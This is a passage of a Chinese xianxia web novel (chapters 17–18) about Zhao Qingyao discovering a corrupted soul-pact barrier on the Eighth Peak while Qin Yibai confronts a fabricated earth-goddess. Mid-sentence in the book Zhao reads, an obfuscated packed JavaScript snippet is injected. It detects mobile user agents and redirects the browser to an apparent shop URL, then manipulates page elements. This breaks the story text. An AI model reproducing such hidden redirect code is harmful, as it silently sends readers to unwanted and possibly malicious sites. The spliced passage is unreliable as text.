“所以,你的主人会不会不知道你走丢了?” 赵轻遥坐在最后一阶石阶上,百无聊赖地托着腮。爬了一夜石阶的身体略觉疲惫,身后布满繁复石纹的大门紧闭,微微的晨光透过罅隙,照亮了风雪中的一隙天地。 试仙峰地界已近在咫尺。 盛开在她衣摆上的金色牡丹纹晃动了一下,有些委屈地化作了一朵蔫头蔫脑的花骨朵:“我不知道。” “他该不会自己先进入试仙峰了吧。” “主人是天底下最好的人,他是不会抛下我的!”花骨朵的声音已带上哭腔,忙里忙慌地一跃而出,落地便重新化形为了一个小孩。 长得粉雕玉琢,却委屈地瘪着嘴,眼见就要哭出来。 赵轻遥有些头疼。她素来不擅安慰别人,本有心顺手做件好事,如今却给自己摊来了一个大麻烦。 一路沿着石阶走上来,连条岔路都没有。她双目被缚不便视物,可附在她衣摆上的灵傀小织,也没见到其他的半个人影。 总不能一直在虚梦幻境里呆着吧。 她心中烦闷,一下又一下地用逢春敲打着掌心,剑鞘上的残雪簌簌掉落:“你的主人叫什么名字?” 小织的眼泪瞬间憋了回去,开始吞吞吐吐:“我……这个我不能告诉你。” “不过、不过,”他眼见着赵轻遥面露不耐,再次慌忙开口,“你可以看看我的心脏,就知道他在哪里了。” 赵轻遥感觉有些新奇:“你的心脏?”她头一次听说,灵傀的心脏可以给别人看的。 小织忙不迭地点头。下一刻,一只琉璃灯球慢慢浮现在了赵轻遥的眼前。 晶莹剔透的球状琉璃外壳下,一只蓝白相间的蝴蝶正在翩翩扇动着蝶翼。蝴蝶每颤动一下,灯光便更亮一分。 不知为何,这只蝴蝶总让她觉得十分眼熟,像是在哪里见到过。赵轻遥努力地搜寻着回忆,脑中忽然轰地一声,曾试图被她遗忘的记忆,重新涌入了脑海。她犹豫片刻,最终还是试探性地开口:“这是流光蝶?” “你居然知道流光蝶?”本面露骄色的小织,忽然不可思议地瞪大了双眼:“这可是那个,能找回丢失的东西的流光蝶哦。” “我当然知道。此蝶常年于南境的海底沉眠,知道它的人少之又少。”赵轻遥伸手轻轻抚摸着琉璃外壳,与这名久别重逢的朋友打了个招呼:“相传,只要跟随流光蝶的光芒前行,心中默念你要找回的人或物,就一定能找到他们。” “那你有用它找过什么?”小织十分好奇。 赵轻遥轻垂眼睫,久未作声。逢春冰凉的剑柄摩挲着她的掌心,似是安慰。 “找过……我很重要的人。” “那你最后找到了吗?” “……找到了。”如果尸体也作数的话。 “那……”小织正欲开口,忽只觉眼前一暗。 本就阴沉的天光顷刻间变得更加黯淡无光,一股巨大的气浪夹带着沙砾碎雪,从深渊底部直直地冲上云霄。 飞沙走砺中,连站立都变得十分困难。赵轻遥顶住威压猛然起身,只见漫天飞雪开始变得透明,一段段的石阶从最底层开始轰然塌陷。 “有人在里面动用灵力,幻境要塌了!” 她一把拎起小织,往自己怀中猛然一带。小织抱着心脏哆哆嗦嗦,化成了衣摆上的一堆杂乱无章的线条。 大门就在身后,识别出请帖即可进入。赵轻遥从衣袖中抖出请帖,用力往上一摁—— 没有反应。 怎么会没有反应呢? 石阶的崩塌破碎声不断从身后传来,赵轻遥根本不敢回头看。微微冷汗瞬间润湿了她的前额,拿着请帖的手也开始止不住地发抖。 再试一次,依旧是没有反应。 她凭借请帖进入的虚梦幻境,请帖绝对没有问题。只有一种可能,那就是虚梦幻境开始崩塌的瞬间,连接幻境与试仙峰地界的大门,便已损坏了。 “怎么办,怎么办呀姐姐?”小织带着哭腔的声音不断传来,赵轻遥忍耐许久,终于忍不住出声:“这是你主人惹出来的事情,不许哭!” 哭声戛然而止。 等她活着出去,一定要找那个人算算账。 赵轻遥努力地闭上双眼深呼吸,迫使自己冷静下来。前世那么辛苦她都一个人走了过来,绝不能死在重生后的第四天。 一定还有其他的什么办法。 既已至此,赌一把的话,事情或许还有转机。 她睁开双眼,猛然举起逢春,插入了两扇石门间的罅隙,使出浑身懈力,将逢春向一旁压去。 小织很快从惊惧中反应过来,她是想要把石门撬开:“这个石门太重了,我出来一起帮忙。” “不用。”赵轻遥很快地松了手,直接地拒绝了小织。石门极其厚重,又带有封印。虽如今封印会因为虚空幻境崩塌之事而变得格外松动,但如今看来,光凭人力是完全无法打开的,再来多少个人也没有用。 她闭上双眼,重新调整气息。幻境已然崩塌,不如放手一搏。 天脉九境的天才体质能让她在最短的速度内吸收运转大量的天地灵气,化为自身修炼运功所需的内力真元。 点点光芒从她的虎口处纷涌而出,注入逢春剑内。 “塌了,塌了,后面突然全部塌了,马上我们这里也要掉下去了!”小织惊慌失措地尖叫了起来。 “塌了就对了,还不够。”赵轻遥擦去嘴角溢出的鲜血,脸色有些发白。 虚梦幻境内大量的灵气还在不断涌入她的天脉,从未体验过的巨大威压让她的五脏六腑都在猛烈作痛。 逢春的剑身绷得很紧,她紧紧摁住逢春的手,也开始剧烈颤抖。 痛,真的好痛啊。 额汗顺着脸颊滴落,白皙的脖颈上经脉跳动。她的意识已开始有些涣散,仿佛回到了前世那个天脉被生生劈碎的雷雨夜。 千万根针扎般的剧痛流遍了四肢血脉,崩坏般狂乱的心跳叫嚣着想要解脱。 一束更大的光忽然照了进来。 沉重的石门,忽然开了一些。她已能隐隐看到石门后试仙峰的青山绿水。 再开一点,再开一点就好了。 “来不及了,已经塌到我们这里了!”小织的声音似近在眼前,又似来自另一个遥远的国度。 赵轻遥试图睁大双眼,但眼前模糊一片,疼痛已让她分不清虚幻与现实。画面交错间,她见到了另一只流光蝶,挥舞着翅膀,优雅地从她的眼前略过。 她是不是已经死在前世了,所谓重生,只是她一场梦境? 哐当一声脆响绽于耳边,将赵轻遥带回了现实。 赵轻遥惊愕抬头,眼见着另一把剑,插入了逢春上方的缝隙中。 剑身通身木制,古朴流畅,毫无装饰,通身散发着淡淡的木制香气。与熠熠生辉的逢春一上一下并列,竟也丝毫不显逊色。 两股强大无比的剑气交织在一起,一青一白。脚下石阶陷落的瞬间,石门终于打开。 虚梦幻境崩塌,出口自也发生了改变,不再是试仙峰的大门口,而是一个山坡草地的顶端。 赵轻遥从山坡上重重滚下。昏迷的前夕,她隐隐听见小织大叫了一声“主人”。 * “……发生这样的事情,多亏了赵姑娘侠肝义胆见义勇为。这些都是我们秦家的一些小小心意,不足为敬,还希望赵姑娘能够收下。” “我说过了,我不要这些。” 赵轻遥静静地坐在宽阔而柔软的金丝红木拔步床上,对着来人淡淡一笑。 赵家已称得上一句富有四海,可秦家的穷奢极侈,还是超乎了她的想象。不仅在试仙峰拥有房产府邸,光是管家逐影这一次带来的奇珍异宝,就已堆满了门外一方的庭院。 她只吃了一颗不知是何制成的灵丹,在虚梦幻境中所受的内伤便已好了大半。 她早就该猜到的。小织的身躯材料虽然只是普通的丝线,可他的心脏确是世间罕有的流光蝶。 能舍得将如此珍贵的流光蝶用在一个身躯材料这般简单的灵傀身上,此宿主必是修仙世家中不缺任何资源的佼佼者。 所以,她不但又差点被秦倚白害死,还把他的灵傀一起救了出来。 怎会有这等好事落到她的死对头脑袋上?
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秦倚白夺魁后,她更是随时控制着自己想要和他拼命的心思。不到万不得已,连一句话都不想和他多说。 在她的记忆中,秦倚白从未问过她这句话。 脑海中的各色回忆翻涌成一片又一片的红浪,每多想一分,头便更痛一分。她想想起更多的事情,但下一秒,她却又听到自己的声音突兀地响起:“我听不懂师兄在说什么。” 冥冥中似有一股力量,操纵着她的身体。 “剑骨,你总该知道的。” 秦倚白眉间一动,竟似开始极其认真地开始向她解释了起来: “相传,溯荒神君的魂魄碎片坠入忘川河,河中等待投胎的亡灵有机会与其遗落的魂魄碎片相互融合。融合后,亡灵转世为人,则会携带一项在某个修行领域极为突出的天赋。” “剑骨、刀魂、术脉、琴心……天下拥有者寥寥,拥有同类型的人之间,会有感应。” 他顿了顿,似乎陷入了遥远的回忆:“”我不会认错。” 赵轻遥的手指轻轻地颤抖着。 她聚气凝神,全身力量在与那股控制自己身体的东西争夺操控权。在此之前,她无暇顾及要回答秦倚白些什么,任凭自己被控制着,还算礼貌地张嘴问道: “师兄怕不是感觉错了。况且,我之前也没有听说过师兄拥有剑骨。” 前世的她,的确会这样回答。 按照秦家夸张的风格,若是秦倚白真的有剑骨,早就该传遍了整个仙灵界才对。 一口咬定就对了。 但如今面前的秦倚白是幻象,她才不想和他废话那么多。等她夺回身体的控制权,立马就把这个幻象给砍了。 “当然不会有人知道。”秦倚白摇了摇头,薄唇微微抿起,发出了一声微不可闻的叹气: “我的剑骨,也弄丢了。” 17.地仙 “秦倚白,你在开什么玩笑?” 幻境中的感觉过于真实。被雨水打湿的碎发黏在前额上,山风拂过,便能感受到从前额蔓延至太阳穴的一阵又一阵寒意。 赵轻遥骤然抬眼,冷冷看向面前的人。 翻江倒海的头痛终于有了片刻的停息。这是她夺回身体控制权后,说出的第一句话。 真正的秦倚白不可能对她说过这样的秘密。此幻境的操控者定是想动摇她的心神,所以才在探取了她的记忆后加以扭曲,让幻境中的秦倚白对她说出了这样的话。 这样能引起她好奇和注意的话。 可秦倚白生来尊贵,怎么可能会丢掉剑骨? 这根本不合常理。 就算窥视了她的记忆,她经历的那些痛苦,这个幻象怎么会懂? 赵轻遥已经不想再废话那么多了。想起此时逢春不在手中,她便默不作声地将手放至腰间的青羽笛。 温热平滑的触感,让她瞬间想起了以此物贯穿诸何的喉管时,双手被迸发而出的鲜血打湿的感觉。 她没有再给秦倚白说下一句话的机会。 她出手极快,只那一霎,环绕在台阶四周的潇潇竹叶如雨而落。叶片上尚未干透的雨水被瞬间震飞,细微的水滴凝滞于空中,眼前瞬间结起一层迷蒙的雾气。 这是今生仍好好存在于她体内的剑骨带来的杀意。 前世的这个时候,她确实没有;但在今生的幻境中,一切都变得不同。 笛身于指尖旋出了一个漂亮的圈,随即向后一转,稳稳地落至掌心。她横笛一挑,周身杀气骤起,直冲秦倚白的心口而去。 天地猛然震动了一下,幻境似有坍塌的迹象,周身环境变得有些透明。 秦倚白没有动身,没有躲闪,甚至没有一分吃惊的神色。他就那样眼睁睁地看着青羽笛没入自己的心口,喷涌而出的鲜血瞬间染红了两人的眉眼。 他凝视着赵轻遥盈满戾气的明亮双眼,忽地笑了一下:“师妹,这才是你本来的样子,对吗?” 下一刻,她执笛的右手便被人猛然摁住。生生地往心口里,又送了几分。 她和他的手上,此刻都淌着同一个人的鲜血。 赵轻遥来不及惊讶,便看到秦倚白向后退了一步,跌倒在地。他伸手抚摸插在他心口的青羽笛,嘴角挂着微笑,像是在欣赏一件完美的作品。 下一刻,他的笑容便随着化为碎片的身躯,消散不见。 天地旋转,周身彻底地暗了下来,这是幻境彻底坍塌前的预兆。 眼前光芒几经变幻,各色光芒交织,如坠梦中。等周身环境不再变化时,她才意识在,自己正躺在一片漫无边际的花圃中。 流光蝶正停在她身侧的一簇花丛上。见她清醒过来,扇着翅膀翩翩而至,亲昵地蹭着她的鼻尖。 花香浓郁,安人心神。幻境中浓郁的灵气消散殆尽,重重的魔气再次将人紧紧环绕。 赵轻遥挣扎起身,却直接被眼前的景象镇住。 此处和她来时的路已不一样。花圃的背后,黑气汇成一股巨大无比的力,从血红天空的裂缝中翻涌而出,似一只黑沉沉的眼,俯瞰着地面上的一切。 原本翻涌着血色、阻拦着黑气的透明屏障汇集到此处,形成一个巨大无比的法阵,正覆盖在眼处,闪烁着各色的璀璨光芒,紧紧阻拦着想要奔涌而下的黑气。 法阵的边缘,已有不少的破损之处。部分黑气沿着破损的边缘不断流下,汇聚成了空中浓郁到散不开的魔气。 看着就不像可以久留之地。 流光蝶蹭了她的脸几圈后,慵懒地停在花上了,不再飞舞。 姜元是被困到此处了吗? 她心下一凛,不由得叫着姜元的名字,向阵法下方的花丛中走去。 自己似乎在哪里见过与之相似的阵法。 头依旧很痛。赵轻遥蹙起眉头,努力地在回忆中对比着,忽地面色一愣,不敢置信地回望向了自己方才走过的路旁。 那里正堆积着数也数不清的灵材异宝。一个个、一件件正竭力散发着光芒,努力地向空中正阻拦黑气的阵法输送灵气。 赵家制器,她自幼见过的无数被锻造出的珍宝。因而一眼便认得,那些都是来自仙灵界的东西。 她快步走上前去,细细地探查了起来。 这些东西的用途、年代各不相同,但每一件,都应该曾是被主人精心呵护过的物件。距今年代久远的,散发着黯淡的灵气光芒;距今年代较近的,散发更为明亮的灵气光芒。 她一件件地翻查着,突然踢到了一个硬物。低头一看,是一盏与她手中别无一二的聚灵灯。 聚灵灯内灵气光芒已经彻底散去。精美的灯罩内里,一株她寻觅已久的千年浮妄草,正静静地悬浮着。 母亲亲手为她做的灯,为何会在这里出现一个一模一样的? 她有些惊讶,正欲伸手触碰那盏聚灵灯,却只听到了“啪嗒”一声。定眼一看,一本厚厚的泛黄的书本,突然出现在了她的脚边。 似是从阵法中间落下来的。 仙灵界中,已经很少能看到这种传统的书了。字画俱动的灵书,在近千年来,更受修士们的喜爱。这般传统的书本,她几乎没有怎么见过了。 大约是因为时间的缘故。书皮很脆,从高空掉下来时,甚至摔坏了一个角。 她小心翼翼地翻开书本,从第一页开始阅读了起来。 前面几页,都是一些无关痛痒的老掉牙故事。讲上古时期的神魔大战,又讲溯荒神君为人族创造神魔之墟、为人族开创灵力。甚至还讲到秦家的先祖、仙盟最早的构成经历之类的事。 内容平平无奇,只是每一页的中间,都有一个巨大无比的红叉。 涂红叉的人蘸饱了笔墨,每个红叉,都近乎力透纸背。 赵轻遥皱了皱眉,不耐将书翻得哗啦响,直至翻到了没有红叉的那一页。 本该清秀的字迹颤抖着,字里行间,似乎都填满了不安。 “如果你是因为地仙娘娘和第八峰的传说来到这里的,那我首先要和你说一声抱歉。” “这里不是什么神族仙境,也没有什么许愿必灵的地仙。所有的一切,都是我编造的一个谎言。” “但如果可以的话,请你一定要继续看下去。所有的神都已经消失了,我们没有神的力量,我们只有我们自己。” * “我早便听说,仙灵界人才辈出,一代更比一代强。这两日一瞧,果真如此。我不过是小小开了个玩笑,结果你们不但让我的座下童子死得那么难看,还直接毁掉了维系了我多年心血的桃源阵。” 金碧辉煌的庙宇内侧很大,亲昵而古怪的柔和女声在空中回响。袅袅香火中,秦倚白抬首注视着面前地仙娘娘的神像。 那是拥有一张美到极致的面庞。 用美来形容,或许并不贴切。秦家重神,他拜过的神像数不胜数。神像们泥雕金塑的肉身,永远和蔼可亲、端庄肃穆,令人保持着远远的距离,心生敬畏。 但地仙娘娘的这张脸,却并不一样。 她与他对话时,神像的表情也会随着细微的变动。眉目流转间,像是在问责,又像是在嗔怪,让人不禁心生亲近之意。 如果不是因为面部缺失了一块瓦片的话。 本来光滑平整的面部,却因那块缺失的瓦片,产生了无法弥补的瑕疵。每动一下,便弥漫出无数细小的裂痕来,倒凭生了几分僵硬和可怖。 秦倚白没有说话。 在幻境中被贯穿的心口,仍在隐隐作痛。 如果没有猜错的话,刚刚的梦境,是桃源阵的另一种更为强劲形态。让人的神识被困于自己的回忆中。真真假假,假假真真,再也分不清。沉溺于此,找不到出路。 这本就是冲着他性命而来的杀招,的确戳到了他的软肋。多亏了黎明珠的幻象突然出手,做出了与原本回忆中大相径庭的事,这才误打误撞地帮助他脱了身。 他忽然便意识到,为何在空白一片的记忆中,自己只记得黎明珠了。 她即便是个幻象,也在帮助他吗? 他垂下眼眸,极力掩盖住了眼中翻滚不明的情绪,捏紧了手中的逐仙剑。 地仙神像见他不语,不由得轻笑一声。温和悦耳的话语中,竟透出来几分隐隐的诱惑来: “你不说话,不就是猜到我想说什么了吗?” “不过,我对你也很好奇。你既是个魔修,又怎么会和一个修士一起到我的地盘上来。毕竟这么多年,我从来骗不到魔修这种东西,因为他们从来都不相信世间尚有神明存在。” “我最讨厌魔修,也不想和魔修过多的纠缠。刚才我也最后试了一次。我的确奈何不了你,但你也解决不了我。事已至此,我们不如和平一些,我把你想要的东西给你,你赶快离开这里。” “至于你的同伴,我也不觉得你们有多熟。你都是魔修了,难道还看不清修士是一群多虚伪的人吗?你把她让给我,就权当是你的赎罪了。” “各退一步,各取所得。怎么样?” 香火的气味有些刺鼻了。 他不喜欢。 秦倚白轻轻抚摸着藏于袖中的玉佩,忽然开口:“我曾听过一个说法。世间的最后一个神族,早就在上古之时覆灭掉了。从此后所有存在于世间的神族遗识,都是被创造出来的。” “我来到这里,一是因为要取个东西,二是因为好奇。在仙灵界名气那么大的地仙娘娘,你的主子又是谁呢?” * 赵轻遥仍在盯着手中的书本。 “第八峰本为连接魔族领域的通道,溯荒神君封印整个仙灵界的神魔领域时,独独遗忘了位于试仙峰上的第八峰。” “导致其魔气肆虐,不得解决,内里甚至有上古妖兽时常冲击。终于一天,向外不断溢出的魔气会毁掉整个试仙峰,甚至会飘散到蓬莱州。我们曾尝试向仙盟和世家寻求过帮助,但他们却说,一派胡言,并无此事。” 看到此处,赵轻遥不禁眨了眨眼,叹了一口气。 仙盟和世家的确会这样做。 他们或许会在内部发生一些矛盾,但对外来说,溯荒神君的地位在仙灵界绝不可动摇。若是被人指出,溯荒神君并未封印所有的神魔领域和古战场,定会闹得人心惶惶。 真真假假的流言一旦起飞,溯荒神君在凡人心中的地位,那就不好说了。被魔气所侵扰的凡人,是否会觉得,是溯荒神君能力不足才导致他们受的苦呢? 由敬生怨,由爱生恨,再简单不过的事情。 她摇了摇头,继续读下去。 “所以,我在这里布置了一个魂契结界。妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12816921|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图献祭自身神识,封印住魔域通道。但我也深知,仅凭一个人的力量,实在无法与神魔之力抗衡。” 魂契结界? 赵轻遥的脑中轰地一声,出现了一片白光。 她慌乱退后两步,重新仰头看向半空中的结界。 这是暄夫人曾给她讲过的秘法。 魂契结界,顾名思义,便是以修士的神识和魂魄为契,所创出来的结界,会因不同的人自身功法不同,而呈现出截然不同的模样。 但无论外在如何,融合了一条鲜活性命的它都当之无愧是仙灵界中最坚固的结界,可抵挡万物。 前世,她无比确认母亲没有和魔修勾结的原因,便是因为出现在雁铃城的神魔之墟裂缝,是母亲用魂契结界补上的。 那时,当她赶回雁铃城时,雁铃城中残留的魔气已所剩不多,城中居民已被仙盟驱散。 仙盟的防魔封印早已把赵家府邸里三层外三层地裹成了一个粽子。赵轻遥寻其薄弱之处,顶其威压勉强进入。 往日里碧蓝的穹空早已被浓黑的魔气遮蔽,琼台玉阁般的华丽屋舍被砸得七零八落,布满血污与泥泞的石板路上洒满了各式各样的符咒。 累山成海的不成人形尸身歪歪斜斜地倒在地上,腥臭腐烂。赵轻遥握住逢春的手忍不住颤抖。她克制着,努力让自己摇摇欲坠的眼泪不要掉出眼眶。 “小……姐……是、是你吗……” 尸山下方,一团人形发出了微不可及的呼喊。 是千穗。 逢春应声而落,哐当一声脆响。剑身嗡鸣,如同悲泣。 赵轻遥慌忙蹲下,紧紧握住那双沾满血污的手,试图将她拽出来。却又在看到她脸的那一刻,崩溃出声: “千穗,你的眼睛为什么会这样?” 千穗素来爱美,可如今原本灵动秀美的一双眼却被两只鲜血模糊的血洞代替。赵轻遥急得落泪,伸手欲擦掉她眼眶周边的血,却不曾想越擦越多。 “只有这样,我、我才能等到小姐……不要紧的……我的身躯都是夫人重塑的……不疼的……”千穗已无法辨认赵轻遥的方向,对着虚空勉强挤出一个微笑,“夫人、夫人……” “阿娘怎么了?” “夫人撑不住了……她让我告诉小姐,她用了魂契结界,才勉强封住了神魔之墟的裂缝……小姐,你要快点,帮……帮一下……” 话音未落,千穗的身躯便迅速腐烂。赵轻遥手中紧紧握着的另一只手便已成白骨。 那是她前世第一次见到魂契结界,也是最后一次见到魂契结界。她一度以为,母亲用性命换来的这道结界,是能够洗刷她冤屈的证据。 但仙盟却一口咬定,仙灵界中没有魂契结界之说。 她所拿到的证据,算不得什么证据。 拜入璇云仙宗后,她也曾偷偷查阅过云弄潮珍藏的宗门秘法和禁书。只可惜,仍旧一无所获。 以至于她甚至有过,魂契结界是她在情绪崩溃下产生的幻觉的想法。 但如今,她却在这里第二次遇到了。 赵轻遥努力克制住颤抖的手指,接着往后翻阅下去。 “所以,我在创造魂契结界前,编造了第八峰有地仙娘娘的谎言,并在第八峰外设置了一层特殊的结界。心怀赤忱者,方有缘入内。” “我已在此布阵,魂契的加固无需后来人献出生命,将自身的珍贵之物放于此处即可。肉身亡故后,神识会被引来此处,即可加固我留下的魂契。” “封印加固所需共需千件来自仙灵界的珍品。一件附有神识的珍品可作用百年,百年后,神识则自行散去,不会被长久地困在此处。若后人来时,前人留下的珍品光芒完全消散,则可自行取用。” 书本写到这里时,戛然而止。 赵轻遥往后翻了翻,没有找到著作者的姓名。 她仰头看了看空中的魂契,又低头看了看内里装有千年浮妄草的聚灵灯,思来想去,却总觉得隐隐地不对。 第八峰内,似有两股势力在争斗不休。既然地仙娘娘是被编织的谎言,从头到尾都不存在。那在外让狐妖为其所用,逼迫后来人向她许愿的地仙,定是有人刻意所为。 此人定是知道第八峰真正发生的事情后,假借地仙娘娘的名号,创造出来了一个妖魔鬼怪。 桃源阵将所有修士附着在宝物上维持魂契的神识都汇集到了一处,导致魂契封印减弱,第八峰内魔气弥漫得格外严重。 之前的那些村民来帮助她,或许因为他们本身就是心怀天下、想要来修补魂契的修士。 一切似乎都能说得通,她只需要在此留下一件珍宝,拿着那株凋谢了光芒的千年浮妄草,离开此处即可。但那种隐隐的不安,却始终浮在心中。 到底是哪里出了问题呢?赵轻遥围着花圃转了几圈,脑中嗡鸣不歇。 直到绕到第三圈时,她才突然惊醒。 刚刚似乎忽略了一件非常重要的事情。 秦肆当年在赵家设下了极其隐秘的禁术,抽取赵家近五百人的魂魄为秦倚白制药之事,始终让她难以忘怀。 更可恨的是,那个极其诡异的阵法,是依附于母亲所留下的魂契结界存在的。 头顶的阵法那股让她感觉到极其相似的感觉,不是魂契结界。 而是依附于魂契结界上的禁术。 18.升境 此想法一出,把赵轻遥自己都吓了一跳。 她不确定地往后退了几步,又重新看了天空中的魂契结界一眼。 本就悬着的心,此刻跳动得如雷声轰鸣。 抬眼望去时,不知是不是错觉。蔓延在透明屏障中的血色翻涌得更剧烈了些,隐约有化作雾气的趋势,似是在寻找机会破界而出。 她没有看错。 当年母亲设下的魂契结界中,也有这样不断翻滚的血色。她一开始不知那是秦肆设在魂契结界中类似寄生虫的禁术。直到后来被人指点,才知道那种禁术名为辟心。 “辟心是一种很古老很古老的上古禁术,已经失传千万年了。我只知道它主要依附于其他阵法存在,会在其他阵法的表面形成一些血色纹理,但它的作用我就实在不清楚了。” 回忆中,跳跃的火堆颜色活泼,红橙交织的艳丽色彩染红了魂灵状的云渺渺的白衣。她透明的手指穿过赵轻遥的衣袖,得意洋洋地笑得像只狐狸: “不过,我知道有一个人非常了解这些上古禁术。你若是实在想知道,就可以去找她。我把人告诉了你,作为交换,你就得答应我一件事情。” “你想让我查查你到底是怎么死的?”赵轻遥侧目看向她。摔伤的头颅有气无力地耷在膝盖上,却回答得干脆利落:“没问题,我肯定会做到的。” “不是这个了。”云渺渺弯了弯湿漉漉的杏眼,指了指火堆一侧已有些凉掉了的鸡腿:“你给我表演一下,活人是怎么吃鸡腿的。” “云渺渺,你别闹了,我现在什么东西都吃不下。” “赵轻遥,随便你啦。你不吃,那我就不告诉你。等我彻底消失了,你就再也找不到第二个能和你讨论这件事的人,哦不鬼了。到时候你就跟个无头苍蝇一样在仙灵界打转,看你怎么办。” …… 赵轻遥后来拜访了那位云渺渺所介绍的前辈,才知晓了辟心的真正用途—— 扭曲阵法原本的功能。 魂契结界本是以修士的魂魄与神识创造出来的结界,被施加以辟心后,魂契结界便成为了吸取并困住他人人魂魄和神识的邪阵。 母亲祭出魂契,本是为了堵住神魔之墟的缺口。谁曾想到会被秦肆加以利用,让赵家众人的魂魄被困于此,不得超生。 修士死后投胎,神识与魂魄必须合二为一。所有在此处留下宝物的修士,死后的神识都没有如书中所说那般百年后解脱。甚至他们等待投胎的魂魄,都可能受到了辟心的影响,被吸引到了此处。 一腔热血,却被人如此迫害。 想到此处,赵轻遥的脸色有些发白。 此处的辟心到底是谁布下的? 若书中所言为真,至少在这里的魂契结界完成前,都没有秦家的人来过此处。据她所知,辟心失传数千万年,重新让它重见天日的人,是秦肆才对。 但此处的辟心能覆盖近千人神识所汇聚而成的魂契结界,而且怕是已在此处维持了多年。与她之前在雁铃城所见过的秦肆的手笔相比,简直是大巫见小巫。 布下此处辟心的人绝对不是秦肆。 秦肆真的是仙灵界第一个钻研出辟心用途的人吗?他所会的辟心,是否有其他人教给他呢? 如果是这样的话,那前世参与谋害赵家的,便不止那三个人。 气温仿佛凝固了下来,鲜花散发的甜香在冰冷的空气中愈发黏腻,细细嗅来,似有一股…… 血腥味? 她又没受伤,哪里来的血腥味? 赵轻遥眼风一扫,轻轻地将手搭在了逢春上,却也没发现四周有什么异样。阵法依旧是阵法,花圃依旧是花圃,宝物依旧是宝物,只是刚刚停在花上那只流光蝶不见了。 她围着花圃绕了一圈,也没看到流光蝶飞到哪里去了。 说起来,她好像在进入第八峰的时候,就看到这只流光蝶了。当时还不知道是怎么回事,现在想来,倒是觉得有点意思。 似乎是在冥冥中给她引路。 血腥味越来越浓郁,暗红的雾气如血般垂下,给人一种触手可及的错觉。天地静穆间,一道雪白的银光猛地向她扑来。 一切都发生得太过突然。赵轻遥下意识地想要侧身躲闪,却仿佛被一股牢牢的力黏在了地上,不得动弹,被迫举剑抵挡,却又在看清白光的瞬间,猛地放下了剑刃。 是刚刚消失的那只流光蝶? 流光蝶美丽、稀有、脆弱,从来都是与力量二字不挂钩的。赵轻遥也从未想过,小小的蝴蝶体内竟会蕴含有如此大的力量。 她被蝶翼携来的巨力一推,接连往后退了几步。 但下一刻,她便眼睁睁地看着一股黏稠腥臭的血液从天空中泼下,径直洒满了她方才所站过的地方。 血液所靠近之处,土地干涸,鲜花凋零。原本还在散发着灵气亮光的宝物们,猛然黯淡了下去。 变故发生得极其之快。那摊血液摇摇晃晃地站了起来,组成了一个极其诡异的人形后,发出了近乎刺耳笑声: “你就是最后一个人吗?” * “你当真是对你的主子忠心耿耿。” 香火折断,满地狼藉,神像璀璨的羽衣溅碎一地。 栩栩如生的仙女壁画流下血泪,锦簇花团化为腥臭的血水。冰凉光滑的金砖极速褪去表面的色彩,露出带有斑驳岁月色彩的粗瓦白墙。 少年漫不经心地用手拨弄着地面上尖锐的碎片,语气温和平淡。 “我也不想这样的,抱歉。” “你的主子很想造一个神出来,他也确实很努力。但就是眼光不怎么好,搜罗出来两个废物来给他当差。你除了能用桃源阵困住我以外,其他的是真的不行。” 碎片划伤了他的手指,斑斑鲜血滑落坠地,却又很快愈合结痂。他就这样毫不在意地任凭自己的鲜血反复流淌着,没有再看倒在一旁满身裂纹的地仙塑像一眼。 地仙已经做了地仙太久了。 她习惯了稳坐在金塑的神像内部被人仰望的滋味,以至于面前的这位少年魔修用剑将她的外壳打碎时,她仍不敢相信这是真的。 “你、你——” 她捂住脸侧缺失的瓦片,声音变得尖锐刺耳:“我和你们魔修素来井水不犯河水,何怨何愁?你要的东西我也答应了会给你,你为何要来这样对我?” “你要是敢解决掉我,你自己也没办法从这里出去!” 明明就差最后一步了,明明马上就要成功了,那位大人千辛万苦把她创造出来,她怎么可能让大人功亏一篑? 她本来就快要成为真正的地仙娘娘了。 一片混沌中,少年清澈明朗的嗓音,显得格外的清晰。 “我是谁并不重要,重要的是,我知道你们安在此处的辟心是个什么东西。” 在第八峰的入口处,他就已经见到了。秦倚白笑了笑,又似是自言自语般说了下去: “我只是觉得特别好奇。这么多人的魂魄和神识一起被辟心拘在这里,本很奇怪了。但你们似乎还不放心,还在外面做了个桃源阵,试图把他们永远困在这里。” “神,原来都是这样造出来的吗?” “你的主子从仙灵界的各处捉来妖兽放入桃源阵中,化形的妖兽把新进入第八峰的人强行扭送来向你祷告,你的案前从此香火不断,便有了所谓的金身。” “修士被困在此处魂魄和神识要用来填充你的内里,妖兽的肉身用来塑造你的外壳。长此以往下去,你就会成为你所以为的真正的神。” “殊不知,只是一个怪物罢了。” “神又如何?怪物又如何?不都是能凌驾你们之上的东西吗?”地仙忽然大笑出声,笑声越发得狂妄:“你就是在抓住狐妖那晚知道这些东西的,对吗?” “此时你能打败我,不过是因为我离成功还差一步之遥。你故意顶替你的同伴,被我抓到此处。走之前还不忘用一些小伎俩把她骗去了你自认为安全的地方。不就是担心,她被我吃了吗?” "不过你猜猜,她现在怎么样了?" * 鲜红的血色雾气化作一条长鞭,破空而来,试图紧紧缠绕在逢春剑上。 赵轻遥剑尖下挑,后撤半步,再次躲过了一次攻击。 她不急着用灵气设阵或是运法,只是单纯地躲闪着。眼前的这个家伙太过熟悉,熟悉到她甚至以为自己出现了错觉。 “你知不知道,有个和你很像的家伙,曾在雁铃城外的青岭山出现过。” 她侧身一闪,躲过了擦着她脖颈飞过去的血雾状弯刀:“你还有其他的兄弟姐妹吗?” 回答她的,只是更为激烈的进攻。 郑玄当年是如何收服血雾为其所用的,她直到重生前,都不曾清楚。 她在杀郑玄的当晚与那只血雾交手过,结果便是身受重伤,有惊无险地逃回了璇云仙宗。 报完所有仇后也不是没想过重新收拾一下血雾。可多方打听后她才知道,自从郑玄死后之后,血雾便和人间蒸发了般,再也找不到踪迹。 郑玄是什么样子的人,她再清楚不过。如此强悍的血雾能被一个窝囊废级别的墙头草收服,搁谁谁都不会信。 